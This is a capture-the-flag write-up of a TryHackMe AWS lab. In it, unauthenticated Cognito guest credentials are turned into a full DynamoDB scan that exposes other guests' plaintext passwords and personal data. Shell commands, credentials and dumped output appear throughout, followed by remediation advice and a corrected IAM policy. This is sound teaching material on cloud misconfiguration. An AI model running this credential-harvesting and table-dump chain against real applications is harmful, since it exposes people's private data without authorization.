# Complimentary: DevSecOps x AWS (TryHackMe)

Link to the challenge on TryHackMe: [Complimentary](https://tryhackme.com/room/hh-complimentary-05e0b604)

> **🛎️ Concierge Briefing**
> 
> Lambo installed the Byte Lotus Wellness app the day she arrived — it was free, it had great reviews (written by the app, but she didn't check), and it got her a tote bag for saying yes to camera, mic, contacts, and location access. No account needed. No login screen. It just… knows things about you the moment you open it.
> 
> That's the whole pitch: “complimentary” access, no friction, no sign-up. Something still has to be deciding what you're allowed to see, even without a login — and whatever that something is, it isn't checking very carefully.
> 
> Your objective: find out how the app knows anything about you at all, and see what else it's willing to hand over.
> 
> **🏖️ TODAY'S ITINERARY**
> 
> *   \[ \] Track down the AWS mechanism issuing you credentials behind the scenes.
>     
> *   \[ \] Use those credentials to dump more than your own record from the app's DynamoDB table.
>     
> *   \[ \] Retrieve the flag from another guest's data.
>     
> 
> **📸 @0xMia's STORY**
> 
> **@0xMia**· posted 40 min after room unlock
> 
> "okay wait, the wellness app never once asked me to log in and it STILL knew my name when I opened it 💀 something has to be quietly handing it access behind the scenes... if you find whatever that something is, don't just check what it gives YOU. ask it for more 👀"
> 
> *   **Cloud**
>     
> *   **AWS**
>     
> *   **Cognito**
>     
> *   **IAM Misconfiguration**
>     

```markdown
// Byte Lotus Wellness — guest dashboard
//
// No login screen on purpose: every visitor gets "free" AWS guest
// credentials from our Cognito Identity Pool so we can save wellness
// preferences without the friction of an account.

const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

AWS.config.region = AWS_REGION;
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
  IdentityPoolId: IDENTITY_POOL_ID,
});

function guestId() {
  let id = localStorage.getItem("byteLotusGuestId");
  if (!id) {
    // First visit: hand out a throwaway guest id, same as checking in.
    id = "guest-" + Math.random().toString(36).slice(2, 10);
    localStorage.setItem("byteLotusGuestId", id);
  }
  return id;
}

function renderDashboard(item) {
  const el = document.getElementById("dashboard");
  if (!item) {
    el.textContent = "Welcome! We don't have wellness data for you yet — check back after your first spa visit.";
    return;
  }
  el.textContent = [
    "Name: " + (item.name ? item.name.S : "—"),
    "Loyalty notes: " + (item.notes ? item.notes.S : "—"),
  ].join("\n");
}

AWS.config.credentials.get(function (err) {
  if (err) {
    console.error("Could not fetch guest credentials:", err);
    return;
  }

  const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
  dynamodb.getItem(
    {
      TableName: TABLE_NAME,
      Key: { guest_id: { S: guestId() } },
    },
    function (err, data) {
      if (err) {
        console.error("Could not load dashboard:", err);
        return;
      }
      renderDashboard(data.Item);
    }
  );
});

```

```markdown
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
  --region us-east-1
```

```markdown
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
  --region us-east-1
{
    "IdentityId": "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195"
}
```

next

```markdown
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195" \
  --region us-east-1
```

```markdown
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195" \
  --region us-east-1
{
    "IdentityId": "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195",
    "Credentials": {
        "AccessKeyId": "ASIAU2VYTBGYFQ4B4OSV",
        "SecretKey": "kUDq1CKFLl+ERVU83iiStoaVdgH7Uaezi89dn6Xs",
        "SessionToken": "IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJHMEUCIEDCc0Q1RoViKeoecpFlOouDnFUbpXO9B5xfA6XDUNfmAiEAtx1CW+brU2LkuLKLSEd4yWBbYXe77wbDcPJYxPaJyP0qtwUIzv//////////ARAAGgwzMzIxNzMzNDcyNDgiDPmKExlOEJMC2VFMnSqLBSspbCNCECS3fBPf51CoxvIrGI3lhQ3LevGcQQaD0+gUBcf1S74LFMSUR5l3xcFUS4eYRtuhOBcXF7KVx/b0E7Mbc/GiA3nOnMsvkeBRDPTCu1r7mTqidfIY/28GS+l8Z0R+4NWTHLfmvwvQImbkaccQNb1mOwICeeLTHfMzjQU8zZrCtZLAwSUcjZGhUevMmc7WXmu+mdCmNuITa3wBE3Xq83jGewEtdKT/ijEyi01TL5k81ZPFUME/rR+2By+joc07kxGwfN3wFc4bVykc3KkZbnAO24B5HrUIuwwDIaTWFS8rDkrYG+5VHqm/S/33qsIz/DpSLNkVZ1tp3DHQpmboK26imgofGLxEZ2mquJiIhgZGMqITOg4bup0I0hn57k3hZnfqOmJMsZLjZFvsebKEQBVkNXD8tKKmQLgsHzwgyJPZBmCk8/L2vUh9tmlLrha6+enfinjNMxMGfpOjswNtwNe25EhybXffly8kiVuKuSIxcAU1ZHl+9m13o+HQIZBhjhocAihkgeQg7QTbvTqoaqDfFFoDRI+POqC2wZYarrDJYkFf5ywmvUSJD+z1MTZAcOjlAoznRpeLqpGZnwPynEsciswwCyA8Og/i8l9VFOFYFtpfkzVCZ1Gmb+kiTO2s09Hq84e6ZCPkvIveCMA/CkrItS9XAfIS+DuTiAfZgtJW1+Qp4ASQlCDBpySBH2zPNo/AZgyV9stauLEP0A+jhYi888mP4IbUCxTfZ/hxXCcB8GP1LNbv0lgAuR03vLI0+3dHrX9+liJwycHTnBjZefCDjYtG7p+4Wut8DZM5pHeFItZZAa9nqlvf4DMHjEEBn3DC9q4llM1ip2LMeaw9D4XCxlNdlWqTrTDmxLnTBjreAoV0oZ3h5ArFhn7fdaUj7D4WgINaLoEfWjhGmX/o55VjHdhKKRdNaA3nUSKFdLAU8LYhfXOkbERzF6UxBB4wgSY5qxypUPSO96hjoV8ROTF6KsMvhLpJDUPsntvbbKSer36QAjDuPilpPfhP1fVdywB7u4QzrXczI96r0nSXHq29h8UyFFiImPokBQJp3uyyZZ0W28j/R80Wb+RIVP41UT23gwqzWDkxYI5s5n2AwaQKB7ZFniSiz3MS3EcATm1W3RVz65qtBlSO3ZJ+gFCHB9pu1gqV0G3NLAjzfhB5SjUw9sBoA1NKD16JkSglKFz1FSWhi8LchqUiPD2k6oCqaQJZ3qcbj3UJPf2PYAIM4H1ueuPPC+xZ7lUM54gyS2x4kgldiyN9uccLKhyZnCvYo0K1WS6EdAJTPM/0zqS41pkEJaLlw7pLRIMFKn9YcCzeYp0RO801Gn0+7atZLv0j",
        "Expiration": "2026-08-01T22:17:26+00:00
```

```markdown
aws sts get-caller-identity
{
    "UserId": "AROA2YR2KKQMU7XJ4LMJP:i-0a4bb4d524ee3e759",
    "Account": "739930428441",
    "Arn": "arn:aws:sts::739930428441:assumed-role/vulnerable-machine/i-0a4bb4d524ee3e759"
}

```

```markdown
export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYFQ4B4OSV"
root@ip-10-113-105-31:~# export AWS_SECRET_ACCESS_KEY="kUDq1CKFLl+ERVU83iiStoaVdgH7Uaezi89dn6Xs"
root@ip-10-113-105-31:~# export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJHMEUCIEDCc0Q1RoViKeoecpFlOouDnFUbpXO9B5xfA6XDUNfmAiEAtx1CW+brU2LkuLKLSEd4yWBbYXe77wbDcPJYxPaJyP0qtwUIzv//////////ARAAGgwzMzIxNzMzNDcyNDgiDPmKExlOEJMC2VFMnSqLBSspbCNCECS3fBPf51CoxvIrGI3lhQ3LevGcQQaD0+gUBcf1S74LFMSUR5l3xcFUS4eYRtuhOBcXF7KVx/b0E7Mbc/GiA3nOnMsvkeBRDPTCu1r7mTqidfIY/28GS+l8Z0R+4NWTHLfmvwvQImbkaccQNb1mOwICeeLTHfMzjQU8zZrCtZLAwSUcjZGhUevMmc7WXmu+mdCmNuITa3wBE3Xq83jGewEtdKT/ijEyi01TL5k81ZPFUME/rR+2By+joc07kxGwfN3wFc4bVykc3KkZbnAO24B5HrUIuwwDIaTWFS8rDkrYG+5VHqm/S/33qsIz/DpSLNkVZ1tp3DHQpmboK26imgofGLxEZ2mquJiIhgZGMqITOg4bup0I0hn57k3hZnfqOmJMsZLjZFvsebKEQBVkNXD8tKKmQLgsHzwgyJPZBmCk8/L2vUh9tmlLrha6+enfinjNMxMGfpOjswNtwNe25EhybXffly8kiVuKuSIxcAU1ZHl+9m13o+HQIZBhjhocAihkgeQg7QTbvTqoaqDfFFoDRI+POqC2wZYarrDJYkFf5ywmvUSJD+z1MTZAcOjlAoznRpeLqpGZnwPynEsciswwCyA8Og/i8l9VFOFYFtpfkzVCZ1Gmb+kiTO2s09Hq84e6ZCPkvIveCMA/CkrItS9XAfIS+DuTiAfZgtJW1+Qp4ASQlCDBpySBH2zPNo/AZgyV9stauLEP0A+jhYi888mP4IbUCxTfZ/hxXCcB8GP1LNbv0lgAuR03vLI0+3dHrX9+liJwycHTnBjZefCDjYtG7p+4Wut8DZM5pHeFItZZAa9nqlvf4DMHjEEBn3DC9q4llM1ip2LMeaw9D4XCxlNdlWqTrTDmxLnTBjreAoV0oZ3h5ArFhn7fdaUj7D4WgINaLoEfWjhGmX/o55VjHdhKKRdNaA3nUSKFdLAU8LYhfXOkbERzF6UxBB4wgSY5qxypUPSO96hjoV8ROTF6KsMvhLpJDUPsntvbbKSer36QAjDuPilpPfhP1fVdywB7u4QzrXczI96r0nSXHq29h8UyFFiImPokBQJp3uyyZZ0W28j/R80Wb+RIVP41UT23gwqzWDkxYI5s5n2AwaQKB7ZFniSiz3MS3EcATm1W3RVz65qtBlSO3ZJ+gFCHB9pu1gqV0G3NLAjzfhB5SjUw9sBoA1NKD16JkSglKFz1FSWhi8LchqUiPD2k6oCqaQJZ3qcbj3UJPf2PYAIM4H1ueuPPC+xZ7lUM54gyS2x4kgldiyN9uccLKhyZnCvYo0K1WS6EdAJTPM/0zqS41pkEJaLlw7pLRIMFKn9YcCzeYp0RO801Gn0+7atZLv0j"
root@ip-10-113-105-31:~# aws sts get-caller-identity
{
    "UserId": "AROAU2VYTBGYCEB4JME2S:CognitoIdentityCredentials",
    "Account": "332173347248",
    "Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}

```

```markdown
aws dynamodb scan \
  --table-name complimentary-GuestWellnessProfiles \
  --region us-east-1
{
    "Items": [
        {
            "password": {
                "S": "digitaldetox2026"
            },
            "location": {
                "S": "25.2055,55.2733"
            },
            "notes": {
                "S": "Booked the quiet room for his \"digital detox.\" Checked email twice since writing that."
            },
            "guest_id": {
                "S": "guest-vibe"
            },
            "email": {
                "S": "vibe@hackerholidays.thm"
            },
            "phone": {
                "S": "+1-555-0193"
            },
            "name": {
                "S": "Vibe (Move Fast & Break Things)"
            }
        },
        {
            "password": {
                "S": "sunkissed88"
            },
            "location": {
                "S": "25.2048,55.2708"
```

```markdown
aws dynamodb scan \
  --table-name complimentary-GuestWellnessProfiles \
  --region us-east-1 \
  --output json > /tmp/scan_full.json

cat /tmp/scan_full.json | grep -i "LastEvaluatedKey
```

```markdown
aws dynamodb scan \
  --table-name complimentary-GuestWellnessProfiles \
  --region us-east-1 \
  --output json | grep -io "flag{[^\"]*}\|thm{[^\"]*}"
THM{fr33_app_fr33_redacted!}
```

## Conclusion

This challenge is a textbook **unauthenticated AWS Cognito Identity Pool → overly-permissive IAM role → unrestricted DynamoDB access** chain — one of the most common real-world cloud misconfigurations, not a novel AI attack. It's a good reminder that "AI security" engagements very often terminate in plain old cloud IAM failures once you follow the data flow behind the flashy frontend.

### Vulnerabilities identified

1.  **Unauthenticated Cognito Identity Pool issuing real AWS credentials to anyone**. The app hands out guest credentials via `CognitoIdentityCredentials` with zero login, zero auth challenge just calling `get-id` against the publicly-visible `IDENTITY_POOL_ID` (hardcoded in client-side JS) gets you an Identity ID, and `get-credentials-for-identity` turns that into live `AccessKeyId`/`SecretKey`/`SessionToken`. This is Cognito's "unauthenticated identities" feature used exactly as designed; the flaw is architectural, not a bug in Cognito itself.
    
2.  **The unauth role is scoped far too broadly**. `sts get-caller-identity` confirms the assumed role is `complimentary-cognito-unauth-role`. The intended use was "let this one guest read/write their own dashboard row" — but the actual IAM policy attached to that role permits `dynamodb:Scan` (and evidently full table read) rather than being restricted to `GetItem`/`PutItem` on a single partition key.
    
3.  **No row-level / fine-grained access control on DynamoDB**. Even if the intent was "each guest can only see their own `guest_id` row," nothing enforces that at the IAM layer. Cognito supports scoping DynamoDB IAM policies to the caller's own identity via policy variables`(dynamodb:LeadingKeys: ${cognito-identity.amazonaws.com:sub})`, and that mechanism was either not used or misconfigured, allowing a full table Scan instead of a `GetItem` limited to the caller's own partition key.
    
4.  **Sensitive data stored in plaintext, unencrypted at the application level, in a table anyone can scan**. The scan dump returned **plaintext passwords, phone numbers, email, and precise geolocation** for every guest — this is a severe data-exposure amplifier on top of the access control failure. Even with correct row-scoping, storing raw passwords in DynamoDB (vs. hashed/salted, or not storing them there at all) is its own finding.
    
5.  **Client-controlled identity with no server-side validation**. `guestId()` Generates a random ID entirely client-side (`localStorage`) with no backend issuing or validating it, meaning identity itself is trivially spoofable even before considering the IAM issue. An attacker doesn't just get to read others' data via `Scan`; they could also fabricate a `guest_id` and write/overwrite arbitrary "own" records via `PutItem` if that's permitted too.
    
6.  **Secrets/config exposed in client-side source**. The Identity Pool ID, region, and table name are all embedded directly in shipped JavaScript. Identity Pool IDs are meant to be public (that's how Cognito unauth flows work), but this underscores that **anything in client code must be treated as public**; the security boundary has to live entirely in IAM policy, not in obscurity of the pool ID or table name.
    

## DevSecOps checklist for this class of vulnerability

### Design/architecture review:

*   Any "no login required" feature backed by cloud credentials → confirm whether an authenticated identity is actually needed to prevent lateral data access, before defaulting to Cognito unauthenticated identities.
    
*   Map every unauth/guest role to the exact minimum action set required (e.g.,`dynamodb:GetItem + dynamodb:PutItem`, never `Scan/Query` without key conditions), least privilege by default, not by exception.
    
*   For any per-user data table reachable by an unauth or shared role, explicitly verify fine-grained access control is enforced at the IAM policy level (`dynamodb:LeadingKeys` conditions tied to `cognito-identity.amazonaws.com:sub`), not just assumed from application logic.
    

### IAM/policy audit:

*   Run automated least-privilege analysis (AWS IAM Access Analyzer, Prowler, ScoutSuite, or similar) against every Cognito unauth/authenticated role on a recurring basis; flag any role with `Scan`, `*,` or wildcard resource ARNs.
    
*   Explicitly test: "what can `assumed-role/-cognito-unauth-role` do that isn't scoped to the caller's own identity?" as a standing red-team check for any app using Identity Pools.
    
*   Alert on IAM policy changes that grant table-wide read/write actions to any Cognito unauth role.
    

### Data handling:

*   Never store plaintext credentials/passwords in any datastore, regardless of access-control assumptions `hash+salt` or eliminate entirely; defense in depth means this shouldn't be a crown-jewel exposure even if IAM fails.
    
*   Classify PII fields (email, phone, geolocation) and apply field-level encryption or a separate, more tightly-controlled table/store for anything above "public profile" sensitivity.
    
*   Don't conflate "wellness profile you show back to the user" data with "`credentials/PII`" data in the same `item/table`; separate stores make an IAM misconfiguration far less catastrophic.
    

### Client-side hygiene:

*   Treat all client-bundled JS as fully public never rely on obscurity of pool IDs, table names, or endpoints as a control.
    
*   Don't derive identity purely client-side (`localStorage` random ID) for anything that maps to real backend data access; require a backend-issued, validated session/identity token even in a "frictionless" flow.
    

### Monitoring/detection:

*   Enable CloudTrail logging for `cognito-identity:GetCredentialsForIdentity` and DynamoDB Scan calls; alert on Scan operations against tables that should only see GetItem/Query-by-key traffic from unauth roles.
    
*   Set up GuardDuty (or equivalent) anomaly detection for unauth-role credential usage patterns that deviate from expected single-item access.
    

### Patch/remediation

1.  **Immediately rotate/replace the exposed IAM role and any credentials tied to it** assume the current unauth role and its permissions are fully compromised knowledge (this scan output alone is enough for real-world exploitation).
    
2.  **Rewrite the unauth role's IAM policy to allow** only: explicitly removing `Scan/Query` and binding key access to the caller's own Cognito identity.
    
    ```markdown
       {
         "Effect": "Allow",
         "Action": ["dynamodb:GetItem", "dynamodb:PutItem"],
         "Resource": "arn:aws:dynamodb:us-east-1:<account>:table/complimentary-GuestWellnessProfiles",
         "Condition": {
           "ForAllValues:StringEquals": {
             "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"]
           }
         }
       }
    ```
    
3.  **Migrate stored passwords out of DynamoDB entirely**, or if credentials must be stored, hash them (`bcrypt/Argon2`) and store only the hash; plaintext password storage is a finding independent of the access-control fix.
    
4.  **Move** `guestId()` **generation server-side**, issued and validated against the Cognito Identity ID at write time, so a client can't fabricate or guess another guest's row key.
    
5.  **Add automated policy-drift detection** (e.g., AWS Config rules or a CI check on IaC) so any future change re-granting `Scan` or wildcard actions to the unauth role fails a build/deploy gate rather than reaching production.
